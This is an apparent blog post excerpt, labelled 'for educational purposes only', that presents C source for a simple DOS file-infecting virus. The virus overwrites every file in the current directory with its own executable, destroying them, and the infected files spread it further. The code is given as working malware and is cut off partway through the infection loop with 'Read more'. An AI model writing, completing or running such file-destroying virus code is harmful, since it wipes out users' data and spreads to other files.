****WARNING: FOR EDUCATIONAL PURPOSES ONLY****

This is a short c program which shows the working and infecting procedure of a virus. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the code of the virus program.

[Thanks to Srikanth who pointed out an error in the program and helped me to compile it successfully]
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus ... Read more »